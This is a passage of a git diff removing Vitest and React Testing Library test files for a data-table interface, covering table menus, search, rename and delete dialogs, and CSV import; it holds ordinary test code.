-        it('should pass correct tableId to actions menu', () => {
-            render(<DataTableHeader />);
-
-            expect(screen.getByTestId('table-id')).toHaveTextContent('table-123');
-        });
-    });
-
-    describe('delete rows button', () => {
-        it('should not render delete rows button when no rows are selected', () => {
-            hoisted.storeState.selectedRowsCount = 0;
-
-            render(<DataTableHeader />);
-
-            // The delete rows button should not be present when no rows are selected
-            // We check that no button with "Delete (" pattern exists (the rows delete button)
-            expect(screen.queryByRole('button', {name: /Delete \(/i})).not.toBeInTheDocument();
-        });
-
-        it('should render delete rows button when rows are selected', () => {
-            hoisted.storeState.selectedRowsCount = 5;
-
-            render(<DataTableHeader />);
-
-            expect(screen.getByRole('button', {name: /Delete \(5\)/i})).toBeInTheDocument();
-        });
-
-        it('should show correct count in delete button', () => {
-            hoisted.storeState.selectedRowsCount = 10;
-
-            render(<DataTableHeader />);
-
-            expect(screen.getByText(/Delete \(10\)/i)).toBeInTheDocument();
-        });
-
-        it('should call handleOpenDeleteRowsDialog when delete button is clicked', async () => {
-            const user = userEvent.setup();
-            hoisted.storeState.selectedRowsCount = 3;
-
-            render(<DataTableHeader />);
-
-            const deleteButton = screen.getByRole('button', {name: /Delete \(3\)/i});
-
-            await user.click(deleteButton);
-
-            expect(hoisted.mockHandleOpenDeleteRowsDialog).toHaveBeenCalledTimes(1);
-        });
-    });
-
-    describe('actions menu handlers', () => {
-        it('should call handleOpenImportCsvDialog when import is clicked', async () => {
-            const user = userEvent.setup();
-
-            render(<DataTableHeader />);
-
-            const importBtn = screen.getByTestId('import-btn');
-
-            await user.click(importBtn);
-
-            expect(hoisted.mockHandleOpenImportCsvDialog).toHaveBeenCalledTimes(1);
-        });
-
-        it('should call handleExportCsv when export is clicked', async () => {
-            const user = userEvent.setup();
-
-            render(<DataTableHeader />);
-
-            const exportBtn = screen.getByTestId('export-btn');
-
-            await user.click(exportBtn);
-
-            expect(hoisted.mockHandleExportCsv).toHaveBeenCalledTimes(1);
-        });
-
-        it('should call handleOpenRenameDialog when rename is clicked', async () => {
-            const user = userEvent.setup();
-
-            render(<DataTableHeader />);
-
-            const renameBtn = screen.getByTestId('rename-btn');
-
-            await user.click(renameBtn);
-
-            expect(hoisted.mockHandleOpenRenameDialog).toHaveBeenCalledTimes(1);
-        });
-
-        it('should call handleOpenDeleteDialog when delete table is clicked', async () => {
-            const user = userEvent.setup();
-
-            render(<DataTableHeader />);
-
-            const deleteBtn = screen.getByTestId('delete-table-btn');
-
-            await user.click(deleteBtn);
-
-            expect(hoisted.mockHandleOpenDeleteDialog).toHaveBeenCalledTimes(1);
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatable/components/tests/DataTableLeftSidebar.test.tsx b/client/src/pages/automation/datatable/components/tests/DataTableLeftSidebar.test.tsx
deleted file mode 100644
index a17ab0c400e..00000000000
--- a/client/src/pages/automation/datatable/components/tests/DataTableLeftSidebar.test.tsx
+++ /dev/null
@@ -1,318 +0,0 @@
-import {useDeleteDataTableAlertDialogStore} from '@/pages/automation/datatable/stores/useDeleteDataTableAlertDialogStore';
-import {useRenameDataTableDialogStore} from '@/pages/automation/datatable/stores/useRenameDataTableDialogStore';
-import {render, resetAll, screen, userEvent, windowResizeObserver} from '@/shared/util/test-utils';
-import {QueryClient, QueryClientProvider} from '@tanstack/react-query';
-import {MemoryRouter} from 'react-router-dom';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import DataTableLeftSidebar from '../DataTableLeftSidebar';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        mockDropMutate: vi.fn(),
-        mockInvalidateQueries: vi.fn(),
-        mockNavigate: vi.fn(),
-        mockRenameMutate: vi.fn(),
-        storeState: {
-            dataTables: [
-                {baseName: 'Alpha', id: 'table-1'},
-                {baseName: 'Beta', id: 'table-2'},
-                {baseName: 'Gamma', id: 'table-3'},
-            ],
-            environmentId: 2,
-            error: null as Error | null,
-            isLoading: false,
-            workspaceId: 1049,
-        },
-    };
-});
-
-vi.mock('@/pages/automation/stores/useWorkspaceStore', () => ({
-    useWorkspaceStore: (selector: (state: {currentWorkspaceId: number}) => number) =>
-        selector({currentWorkspaceId: hoisted.storeState.workspaceId}),
-}));
-
-vi.mock('@/shared/queries/automation/datatables.queries', () => ({
-    DataTableKeys: {
-        list: (environmentId: number, workspaceId: number) => ['dataTables', environmentId, workspaceId],
-    },
-}));
-
-vi.mock('@/shared/middleware/graphql', async (importOriginal) => {
-    const actual = await importOriginal<typeof import('@/shared/middleware/graphql')>();
-
-    return {
-        ...actual,
-        useDataTablesQuery: () => ({
-            data: {dataTables: hoisted.storeState.dataTables},
-            error: hoisted.storeState.error,
-            isLoading: hoisted.storeState.isLoading,
-        }),
-        useDropDataTableMutation: ({
-            onSuccess,
-        }: {
-            onSuccess: (data: unknown, variables: {input: {tableId: string}}) => void;
-        }) => ({
-            mutate: (params: {input: {tableId: string}}) => {
-                hoisted.mockDropMutate(params);
-                onSuccess(undefined, params);
-            },
-        }),
-        useRenameDataTableMutation: ({onSuccess}: {onSuccess: () => void}) => ({
-            mutate: (params: unknown) => {
-                hoisted.mockRenameMutate(params);
-                onSuccess();
-            },
-        }),
-    };
-});
-
-vi.mock('@/shared/stores/useEnvironmentStore', () => ({
-    useEnvironmentStore: (selector: (state: {currentEnvironmentId: number}) => number) =>
-        selector({currentEnvironmentId: hoisted.storeState.environmentId}),
-}));
-
-vi.mock('react-router-dom', async (importOriginal) => {
-    const actual = await importOriginal<typeof import('react-router-dom')>();
-
-    return {
-        ...actual,
-        useNavigate: () => hoisted.mockNavigate,
-    };
-});
-
-const queryClient = new QueryClient({
-    defaultOptions: {
-        queries: {
-            retry: false,
-        },
-    },
-});
-
-const renderWithProviders = (ui: React.ReactElement) => {
-    return render(
-        <MemoryRouter>
-            <QueryClientProvider client={queryClient}>{ui}</QueryClientProvider>
-        </MemoryRouter>
-    );
-};
-
-beforeEach(() => {
-    windowResizeObserver();
-    hoisted.storeState.dataTables = [
-        {baseName: 'Alpha', id: 'table-1'},
-        {baseName: 'Beta', id: 'table-2'},
-        {baseName: 'Gamma', id: 'table-3'},
-    ];
-    hoisted.storeState.isLoading = false;
-    hoisted.storeState.error = null;
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-    queryClient.clear();
-
-    // Reset zustand stores
-    useDeleteDataTableAlertDialogStore.getState().clearTableToDelete();
-    useRenameDataTableDialogStore.getState().clearTableToRename();
-});
-
-describe('DataTableLeftSidebar', () => {
-    describe('rendering', () => {
-        it('should render search input', () => {
-            renderWithProviders(<DataTableLeftSidebar />);
-
-            expect(screen.getByPlaceholderText('Search tables...')).toBeInTheDocument();
-        });
-
-        it('should render all tables sorted alphabetically', () => {
-            renderWithProviders(<DataTableLeftSidebar />);
-
-            expect(screen.getByText('Alpha')).toBeInTheDocument();
-            expect(screen.getByText('Beta')).toBeInTheDocument();
-            expect(screen.getByText('Gamma')).toBeInTheDocument();
-        });
-
-        it('should show no tables found when list is empty', () => {
-            hoisted.storeState.dataTables = [];
-
-            renderWithProviders(<DataTableLeftSidebar />);
-
-            expect(screen.getByText('No tables found')).toBeInTheDocument();
-        });
-    });
-
-    describe('search functionality', () => {
-        it('should filter tables by search term', async () => {
-            const user = userEvent.setup();
-
-            renderWithProviders(<DataTableLeftSidebar />);
-
-            const searchInput = screen.getByPlaceholderText('Search tables...');
-
-            await user.type(searchInput, 'Alpha');
-
-            expect(screen.getByText('Alpha')).toBeInTheDocument();
-            expect(screen.queryByText('Beta')).not.toBeInTheDocument();
-            expect(screen.queryByText('Gamma')).not.toBeInTheDocument();
-        });
-
-        it('should show no tables found when search has no matches', async () => {
-            const user = userEvent.setup();
-
-            renderWithProviders(<DataTableLeftSidebar />);
-
-            const searchInput = screen.getByPlaceholderText('Search tables...');
-
-            await user.type(searchInput, 'NonExistent');
-
-            expect(screen.getByText('No tables found')).toBeInTheDocument();
-        });
-
-        it('should be case insensitive', async () => {
-            const user = userEvent.setup();
-
-            renderWithProviders(<DataTableLeftSidebar />);
-
-            const searchInput = screen.getByPlaceholderText('Search tables...');
-
-            await user.type(searchInput, 'ALPHA');
-
-            expect(screen.getByText('Alpha')).toBeInTheDocument();
-        });
-    });
-
-    describe('current table highlighting', () => {
-        it('should not highlight any table when currentId is undefined', () => {
-            renderWithProviders(<DataTableLeftSidebar />);
-
-            // All tables should be rendered but none should be marked as current
-            expect(screen.getByText('Alpha')).toBeInTheDocument();
-        });
-
-        it('should highlight the current table when currentId is provided', () => {
-            renderWithProviders(<DataTableLeftSidebar currentId="table-1" />);
-
-            // The Alpha table should have a different style when current
-            expect(screen.getByText('Alpha')).toBeInTheDocument();
-        });
-    });
-
-    describe('table menu', () => {
-        it('should render menu button for each table', () => {
-            renderWithProviders(<DataTableLeftSidebar />);
-
-            const menuButtons = screen.getAllByRole('button', {name: 'Table menu'});
-
-            expect(menuButtons).toHaveLength(3);
-        });
-
-        it('should show rename and delete options in menu', async () => {
-            const user = userEvent.setup();
-
-            renderWithProviders(<DataTableLeftSidebar />);
-
-            const menuButtons = screen.getAllByRole('button', {name: 'Table menu'});
-
-            await user.click(menuButtons[0]);
-
-            expect(screen.getByText('Rename')).toBeInTheDocument();
-            expect(screen.getByText('Delete')).toBeInTheDocument();
-        });
-    });
-
-    describe('delete dialog', () => {
-        it('should open delete confirmation dialog when delete is clicked', async () => {
-            const user = userEvent.setup();
-
-            renderWithProviders(<DataTableLeftSidebar />);
-
-            const menuButtons = screen.getAllByRole('button', {name: 'Table menu'});
-
-            await user.click(menuButtons[0]);
-
-            const deleteOption = screen.getByText('Delete');
-
-            await user.click(deleteOption);
-
-            expect(screen.getByText('Are you absolutely sure?')).toBeInTheDocument();
-        });
-
-        it('should close delete dialog when cancel is clicked', async () => {
-            const user = userEvent.setup();
-
-            renderWithProviders(<DataTableLeftSidebar />);
-
-            const menuButtons = screen.getAllByRole('button', {name: 'Table menu'});
-
-            await user.click(menuButtons[0]);
-
-            const deleteOption = screen.getByText('Delete');
-
-            await user.click(deleteOption);
-
-            const cancelButton = screen.getByRole('button', {name: 'Cancel'});
-
-            await user.click(cancelButton);
-
-            expect(screen.queryByRole('alertdialog')).not.toBeInTheDocument();
-        });
-    });
-
-    describe('rename dialog', () => {
-        it('should open rename dialog when rename is clicked', async () => {
-            const user = userEvent.setup();
-
-            renderWithProviders(<DataTableLeftSidebar />);
-
-            const menuButtons = screen.getAllByRole('button', {name: 'Table menu'});
-
-            await user.click(menuButtons[0]);
-
-            const renameOption = screen.getByText('Rename');
-
-            await user.click(renameOption);
-
-            expect(screen.getByText('Rename Table')).toBeInTheDocument();
-        });
-
-        it('should show input with current table name in rename dialog', async () => {
-            const user = userEvent.setup();
-
-            renderWithProviders(<DataTableLeftSidebar />);
-
-            const menuButtons = screen.getAllByRole('button', {name: 'Table menu'});
-
-            await user.click(menuButtons[0]);
-
-            const renameOption = screen.getByText('Rename');
-
-            await user.click(renameOption);
-
-            const input = screen.getByRole('textbox');
-
-            expect(input).toHaveValue('Alpha');
-        });
-
-        it('should close rename dialog when cancel is clicked', async () => {
-            const user = userEvent.setup();
-
-            renderWithProviders(<DataTableLeftSidebar />);
-
-            const menuButtons = screen.getAllByRole('button', {name: 'Table menu'});
-
-            await user.click(menuButtons[0]);
-
-            const renameOption = screen.getByText('Rename');
-
-            await user.click(renameOption);
-
-            const cancelButton = screen.getByRole('button', {name: 'Cancel'});
-
-            await user.click(cancelButton);
-
-            expect(screen.queryByText('Rename Table')).not.toBeInTheDocument();
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatable/components/tests/DataTableLeftSidebarDropdownMenu.test.tsx b/client/src/pages/automation/datatable/components/tests/DataTableLeftSidebarDropdownMenu.test.tsx
deleted file mode 100644
index 2e07fd3cc87..00000000000
--- a/client/src/pages/automation/datatable/components/tests/DataTableLeftSidebarDropdownMenu.test.tsx
+++ /dev/null
@@ -1,139 +0,0 @@
-import {render, resetAll, screen, userEvent, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import DataTableLeftSidebarDropdownMenu from '../DataTableLeftSidebarDropdownMenu';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        mockHandleDeleteOpen: vi.fn(),
-        mockHandleRenameOpen: vi.fn(),
-    };
-});
-
-vi.mock('../../hooks/useDeleteDataTableAlertDialog', () => ({
-    default: () => ({
-        handleOpen: hoisted.mockHandleDeleteOpen,
-    }),
-}));
-
-vi.mock('../../hooks/useRenameDataTableDialog', () => ({
-    default: () => ({
-        handleOpen: hoisted.mockHandleRenameOpen,
-    }),
-}));
-
-const defaultProps = {
-    tableId: 'table-123',
-    tableName: 'TestTable',
-};
-
-beforeEach(() => {
-    windowResizeObserver();
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-describe('DataTableLeftSidebarDropdownMenu', () => {
-    describe('rendering', () => {
-        it('should render the menu trigger button', () => {
-            render(<DataTableLeftSidebarDropdownMenu {...defaultProps} />);
-
-            expect(screen.getByRole('button', {name: 'Table menu'})).toBeInTheDocument();
-        });
-
-        it('should not show menu items initially', () => {
-            render(<DataTableLeftSidebarDropdownMenu {...defaultProps} />);
-
-            expect(screen.queryByText('Rename')).not.toBeInTheDocument();
-            expect(screen.queryByText('Delete')).not.toBeInTheDocument();
-        });
-    });
-
-    describe('menu items', () => {
-        it('should show Rename and Delete menu items when trigger is clicked', async () => {
-            const user = userEvent.setup();
-
-            render(<DataTableLeftSidebarDropdownMenu {...defaultProps} />);
-
-            const triggerButton = screen.getByRole('button', {name: 'Table menu'});
-
-            await user.click(triggerButton);
-
-            expect(screen.getByText('Rename')).toBeInTheDocument();
-            expect(screen.getByText('Delete')).toBeInTheDocument();
-        });
-    });
-
-    describe('interactions', () => {
-        it('should call handleRenameOpen with tableId and tableName when Rename is clicked', async () => {
-            const user = userEvent.setup();
-
-            render(<DataTableLeftSidebarDropdownMenu {...defaultProps} />);
-
-            const triggerButton = screen.getByRole('button', {name: 'Table menu'});
-
-            await user.click(triggerButton);
-
-            const renameItem = screen.getByText('Rename');
-
-            await user.click(renameItem);
-
-            expect(hoisted.mockHandleRenameOpen).toHaveBeenCalledWith('table-123', 'TestTable');
-        });
-
-        it('should call handleDeleteOpen with tableId and tableName when Delete is clicked', async () => {
-            const user = userEvent.setup();
-
-            render(<DataTableLeftSidebarDropdownMenu {...defaultProps} />);
-
-            const triggerButton = screen.getByRole('button', {name: 'Table menu'});
-
-            await user.click(triggerButton);
-
-            const deleteItem = screen.getByText('Delete');
-
-            await user.click(deleteItem);
-
-            expect(hoisted.mockHandleDeleteOpen).toHaveBeenCalledWith('table-123', 'TestTable');
-        });
-
-        it('should pass correct props for different table data', async () => {
-            const user = userEvent.setup();
-            const customProps = {
-                tableId: 'another-table-456',
-                tableName: 'AnotherTable',
-            };
-
-            render(<DataTableLeftSidebarDropdownMenu {...customProps} />);
-
-            const triggerButton = screen.getByRole('button', {name: 'Table menu'});
-
-            await user.click(triggerButton);
-
-            const renameItem = screen.getByText('Rename');
-
-            await user.click(renameItem);
-
-            expect(hoisted.mockHandleRenameOpen).toHaveBeenCalledWith('another-table-456', 'AnotherTable');
-        });
-    });
-
-    describe('styling', () => {
-        it('should render Delete menu item with red color class', async () => {
-            const user = userEvent.setup();
-
-            render(<DataTableLeftSidebarDropdownMenu {...defaultProps} />);
-
-            const triggerButton = screen.getByRole('button', {name: 'Table menu'});
-
-            await user.click(triggerButton);
-
-            const deleteItem = screen.getByText('Delete').closest('[role="menuitem"]');
-
-            expect(deleteItem).toHaveClass('text-red-600');
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatable/components/tests/DeleteDataTableAlertDialog.test.tsx b/client/src/pages/automation/datatable/components/tests/DeleteDataTableAlertDialog.test.tsx
deleted file mode 100644
index a97efea1ab5..00000000000
--- a/client/src/pages/automation/datatable/components/tests/DeleteDataTableAlertDialog.test.tsx
+++ /dev/null
@@ -1,83 +0,0 @@
-import {render, resetAll, screen, userEvent, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import DeleteDataTableAlertDialog from '../DeleteDataTableAlertDialog';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        mockHandleClose: vi.fn(),
-        mockHandleDelete: vi.fn(),
-        storeState: {
-            open: true,
-        },
-    };
-});
-
-vi.mock('../../hooks/useDeleteDataTableAlertDialog', () => ({
-    default: () => ({
-        handleClose: hoisted.mockHandleClose,
-        handleDelete: hoisted.mockHandleDelete,
-        open: hoisted.storeState.open,
-    }),
-}));
-
-beforeEach(() => {
-    windowResizeObserver();
-    hoisted.storeState.open = true;
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-describe('DeleteDataTableAlertDialog', () => {
-    describe('rendering', () => {
-        it('should render the dialog when open', () => {
-            render(<DeleteDataTableAlertDialog />);
-
-            expect(screen.getByText('Are you absolutely sure?')).toBeInTheDocument();
-        });
-
-        it('should render cancel and delete buttons', () => {
-            render(<DeleteDataTableAlertDialog />);
-
-            expect(screen.getByRole('button', {name: 'Cancel'})).toBeInTheDocument();
-            expect(screen.getByRole('button', {name: 'Delete'})).toBeInTheDocument();
-        });
-
-        it('should not render when not open', () => {
-            hoisted.storeState.open = false;
-
-            render(<DeleteDataTableAlertDialog />);
-
-            expect(screen.queryByText('Are you absolutely sure?')).not.toBeInTheDocument();
-        });
-    });
-
-    describe('interactions', () => {
-        it('should call handleDelete when delete button is clicked', async () => {
-            const user = userEvent.setup();
-
-            render(<DeleteDataTableAlertDialog />);
-
-            const deleteButton = screen.getByRole('button', {name: 'Delete'});
-
-            await user.click(deleteButton);
-
-            expect(hoisted.mockHandleDelete).toHaveBeenCalledTimes(1);
-        });
-
-        it('should call handleClose when cancel is clicked', async () => {
-            const user = userEvent.setup();
-
-            render(<DeleteDataTableAlertDialog />);
-
-            const cancelButton = screen.getByRole('button', {name: 'Cancel'});
-
-            await user.click(cancelButton);
-
-            expect(hoisted.mockHandleClose).toHaveBeenCalledTimes(1);
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatable/components/tests/DeleteDataTableColumnDialog.test.tsx b/client/src/pages/automation/datatable/components/tests/DeleteDataTableColumnDialog.test.tsx
deleted file mode 100644
index 51430cf5976..00000000000
--- a/client/src/pages/automation/datatable/components/tests/DeleteDataTableColumnDialog.test.tsx
+++ /dev/null
@@ -1,110 +0,0 @@
-import {render, resetAll, screen, userEvent, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import DeleteDataTableColumnDialog from '../DeleteDataTableColumnDialog';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        mockHandleDelete: vi.fn(),
-        mockHandleOpenChange: vi.fn(),
-        storeState: {
-            columnName: 'TestColumn',
-            open: true,
-        },
-    };
-});
-
-vi.mock('../../hooks/useDeleteDataTableColumnDialog', () => ({
-    default: () => ({
-        columnName: hoisted.storeState.columnName,
-        handleDelete: hoisted.mockHandleDelete,
-        handleOpenChange: hoisted.mockHandleOpenChange,
-        open: hoisted.storeState.open,
-    }),
-}));
-
-beforeEach(() => {
-    windowResizeObserver();
-    hoisted.storeState.open = true;
-    hoisted.storeState.columnName = 'TestColumn';
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-describe('DeleteDataTableColumnDialog', () => {
-    describe('rendering', () => {
-        it('should render the dialog when open', () => {
-            render(<DeleteDataTableColumnDialog />);
-
-            expect(screen.getByText('Delete column')).toBeInTheDocument();
-        });
-
-        it('should render the description with column name', () => {
-            render(<DeleteDataTableColumnDialog />);
-
-            expect(
-                screen.getByText(
-                    'Are you sure you want to delete column "TestColumn"? This action cannot be undone and will remove all data in this column.'
-                )
-            ).toBeInTheDocument();
-        });
-
-        it('should render cancel and delete buttons', () => {
-            render(<DeleteDataTableColumnDialog />);
-
-            expect(screen.getByRole('button', {name: 'Cancel'})).toBeInTheDocument();
-            expect(screen.getByRole('button', {name: 'Delete'})).toBeInTheDocument();
-        });
-
-        it('should not render when not open', () => {
-            hoisted.storeState.open = false;
-
-            render(<DeleteDataTableColumnDialog />);
-
-            expect(screen.queryByText('Delete column')).not.toBeInTheDocument();
-        });
-    });
-
-    describe('interactions', () => {
-        it('should call handleDelete when delete button is clicked', async () => {
-            const user = userEvent.setup();
-
-            render(<DeleteDataTableColumnDialog />);
-
-            const deleteButton = screen.getByRole('button', {name: 'Delete'});
-
-            await user.click(deleteButton);
-
-            expect(hoisted.mockHandleDelete).toHaveBeenCalledTimes(1);
-        });
-
-        it('should call handleOpenChange when cancel is clicked', async () => {
-            const user = userEvent.setup();
-
-            render(<DeleteDataTableColumnDialog />);
-
-            const cancelButton = screen.getByRole('button', {name: 'Cancel'});
-
-            await user.click(cancelButton);
-
-            expect(hoisted.mockHandleOpenChange).toHaveBeenCalledWith(false);
-        });
-    });
-
-    describe('different column names', () => {
-        it('should display different column name in description', () => {
-            hoisted.storeState.columnName = 'AnotherColumn';
-
-            render(<DeleteDataTableColumnDialog />);
-
-            expect(
-                screen.getByText(
-                    'Are you sure you want to delete column "AnotherColumn"? This action cannot be undone and will remove all data in this column.'
-                )
-            ).toBeInTheDocument();
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatable/components/tests/DeleteDataTableRowsDialog.test.tsx b/client/src/pages/automation/datatable/components/tests/DeleteDataTableRowsDialog.test.tsx
deleted file mode 100644
index dcbba8036e6..00000000000
--- a/client/src/pages/automation/datatable/components/tests/DeleteDataTableRowsDialog.test.tsx
+++ /dev/null
@@ -1,126 +0,0 @@
-import {render, resetAll, screen, userEvent, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import DeleteDataTableRowsDialog from '../DeleteDataTableRowsDialog';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        mockHandleDelete: vi.fn(),
-        mockHandleOpenChange: vi.fn(),
-        storeState: {
-            open: true,
-            rowCount: 5,
-        },
-    };
-});
-
-vi.mock('../../hooks/useDeleteDataTableRowsDialog', () => ({
-    default: () => ({
-        handleDelete: hoisted.mockHandleDelete,
-        handleOpenChange: hoisted.mockHandleOpenChange,
-        open: hoisted.storeState.open,
-        rowCount: hoisted.storeState.rowCount,
-    }),
-}));
-
-beforeEach(() => {
-    windowResizeObserver();
-    hoisted.storeState.open = true;
-    hoisted.storeState.rowCount = 5;
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-describe('DeleteDataTableRowsDialog', () => {
-    describe('rendering', () => {
-        it('should render the dialog when open', () => {
-            render(<DeleteDataTableRowsDialog />);
-
-            expect(screen.getByText('Delete records')).toBeInTheDocument();
-        });
-
-        it('should render the description with plural row count', () => {
-            render(<DeleteDataTableRowsDialog />);
-
-            expect(
-                screen.getByText('Are you sure you want to delete 5 selected records? This action cannot be undone.')
-            ).toBeInTheDocument();
-        });
-
-        it('should render the description with singular row count', () => {
-            hoisted.storeState.rowCount = 1;
-
-            render(<DeleteDataTableRowsDialog />);
-
-            expect(
-                screen.getByText('Are you sure you want to delete 1 selected record? This action cannot be undone.')
-            ).toBeInTheDocument();
-        });
-
-        it('should render cancel and delete buttons', () => {
-            render(<DeleteDataTableRowsDialog />);
-
-            expect(screen.getByRole('button', {name: 'Cancel'})).toBeInTheDocument();
-            expect(screen.getByRole('button', {name: 'Delete'})).toBeInTheDocument();
-        });
-
-        it('should not render when not open', () => {
-            hoisted.storeState.open = false;
-
-            render(<DeleteDataTableRowsDialog />);
-
-            expect(screen.queryByText('Delete records')).not.toBeInTheDocument();
-        });
-    });
-
-    describe('interactions', () => {
-        it('should call handleDelete when delete button is clicked', async () => {
-            const user = userEvent.setup();
-
-            render(<DeleteDataTableRowsDialog />);
-
-            const deleteButton = screen.getByRole('button', {name: 'Delete'});
-
-            await user.click(deleteButton);
-
-            expect(hoisted.mockHandleDelete).toHaveBeenCalledTimes(1);
-        });
-
-        it('should call handleOpenChange when cancel is clicked', async () => {
-            const user = userEvent.setup();
-
-            render(<DeleteDataTableRowsDialog />);
-
-            const cancelButton = screen.getByRole('button', {name: 'Cancel'});
-
-            await user.click(cancelButton);
-
-            expect(hoisted.mockHandleOpenChange).toHaveBeenCalledWith(false);
-        });
-    });
-
-    describe('different row counts', () => {
-        it('should display correct count for many rows', () => {
-            hoisted.storeState.rowCount = 100;
-
-            render(<DeleteDataTableRowsDialog />);
-
-            expect(
-                screen.getByText('Are you sure you want to delete 100 selected records? This action cannot be undone.')
-            ).toBeInTheDocument();
-        });
-
-        it('should display correct count for zero rows', () => {
-            hoisted.storeState.rowCount = 0;
-
-            render(<DeleteDataTableRowsDialog />);
-
-            expect(
-                screen.getByText('Are you sure you want to delete 0 selected records? This action cannot be undone.')
-            ).toBeInTheDocument();
-        });
-    });
-});
diff --git a/client/src/pages/automation/datatable/components/tests/ImportDataTableCsvDialog.test.tsx b/client/src/pages/automation/datatable/components/tests/ImportDataTableCsvDialog.test.tsx
deleted file mode 100644
index 563b6f77cf9..00000000000
--- a/client/src/pages/automation/datatable/components/tests/ImportDataTableCsvDialog.test.tsx
+++ /dev/null
@@ -1,183 +0,0 @@
-import {render, resetAll, screen, userEvent, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import ImportDataTableCsvDialog from '../ImportDataTableCsvDialog';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        mockHandleImport: vi.fn(),
-        mockHandleOpenChange: vi.fn(),
-        mockIsPending: false,
-        mockOpen: true,
-    };
-});
-
-vi.mock('../../hooks/useImportDataTableCsvDialog', () => ({
-    default: () => ({
-        handleImport: hoisted.mockHandleImport,
-        handleOpenChange: hoisted.mockHandleOpenChange,
-        isPending: hoisted.mockIsPending,
-        open: hoisted.mockOpen,
-    }),
-}));
-
-beforeEach(() => {
-    windowResizeObserver();
-    hoisted.mockOpen = true;
-    hoisted.mockIsPending = false;
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-describe('ImportDataTableCsvDialog', () => {
-    describe('rendering', () => {
-        it('should render the dialog when open is true', () => {
-            render(<ImportDataTableCsvDialog />);
-
-            expect(screen.getByRole('dialog')).toBeInTheDocument();
-        });
-
-        it('should not render the dialog when open is false', () => {
-            hoisted.mockOpen = false;
-
-            render(<ImportDataTableCsvDialog />);
-
-            expect(screen.queryByRole('dialog')).not.toBeInTheDocument();
-        });
-
-        it('should render the dialog title', () => {
-            render(<ImportDataTableCsvDialog />);
-
-            expect(screen.getByText('Import CSV')).toBeInTheDocument();
-        });
-
-        it('should render the file input label', () => {
-            render(<ImportDataTableCsvDialog />);
-
-            expect(screen.getByText('CSV file')).toBeInTheDocument();
-        });
-
-        it('should render Cancel and Import buttons', () => {
-            render(<ImportDataTableCsvDialog />);
-
-            expect(screen.getByRole('button', {name: 'Cancel'})).toBeInTheDocument();
-            expect(screen.getByRole('button', {name: 'Import'})).toBeInTheDocument();
-        });
-
-        it('should disable Import button when no file is selected', () => {
-            render(<ImportDataTableCsvDialog />);
-
-            const importButton = screen.getByRole('button', {name: 'Import'});
-
-            expect(importButton).toBeDisabled();
-        });
-    });
-
-    describe('pending state', () => {
-        it('should show "Importing…" text when isPending is true', () => {
-            hoisted.mockIsPending = true;
-
-            render(<ImportDataTableCsvDialog />);
-
-            expect(screen.getByRole('button', {name: 'Importing…'})).toBeInTheDocument();
-        });
-
-        it('should disable Import button when isPending is true', () => {
-            hoisted.mockIsPending = true;
-
-            render(<ImportDataTableCsvDialog />);
-
-            const importButton = screen.getByRole('button', {name: 'Importing…'});
-
-            expect(importButton).toBeDisabled();
-        });
-    });
-
-    describe('interactions', () => {
-        it('should call handleOpenChange with false when Cancel is clicked', async () => {
-            const user = userEvent.setup();
-
-            render(<ImportDataTableCsvDialog />);
-
-            const cancelButton = screen.getByRole('button', {name: 'Cancel'});
-
-            await user.click(cancelButton);
-
-            expect(hoisted.mockHandleOpenChange).toHaveBeenCalledWith(false);
-        });
-
-        it('should accept .csv files in the file input', () => {
-            render(<ImportDataTableCsvDialog />);
-
-            const fileInput = document.querySelector('input[type="file"]');
-
-            expect(fileInput).toHaveAttribute('accept', '.csv,text/csv');
-        });
-    });
-
-    describe('file selection', () => {
-        it('should show file info when a file is selected', async () => {
-            const user = userEvent.setup();
-
-            render(<ImportDataTableCsvDialog />);
-
-            const fileInput = document.querySelector('input[type="file"]') as HTMLInputElement;
-
-            const testFile = new File(['name,age\nJohn,30'], 'test.csv', {type: 'text/csv'});
-
-            await user.upload(fileInput, testFile);
-
-            expect(screen.getByText('test.csv')).toBeInTheDocument();
-        });
-
-        it('should enable Import button when a file is selected', async () => {
-            const user = userEvent.setup();
-
-            render(<ImportDataTableCsvDialog />);
-
-            const fileInput = document.querySelector('input[type="file"]') as HTMLInputElement;
-
-            const testFile = new File(['name,age\nJohn,30'], 'test.csv', {type: 'text/csv'});
-
-            await user.upload(fileInput, testFile);
-
-            const importButton = screen.getByRole('button', {name: 'Import'});
-
-            expect(importButton).not.toBeDisabled();
-        });
-
-        it('should call handleImport with file content when Import is clicked', async () => {
-            const user = userEvent.setup();
-            const csvContent = 'name,age\nJohn,30';
-
-            // Define File.prototype.text if it doesn't exist (jsdom doesn't support it)
-            const originalText = File.prototype.text;
-
-            File.prototype.text = vi.fn().mockResolvedValue(csvContent);
-
-            render(<ImportDataTableCsvDialog />);
-
-            const fileInput = document.querySelector('input[type="file"]') as HTMLInputElement;
-            const testFile = new File([csvContent], 'test.csv', {type: 'text/csv'});
-
-            await user.upload(fileInput, testFile);
-
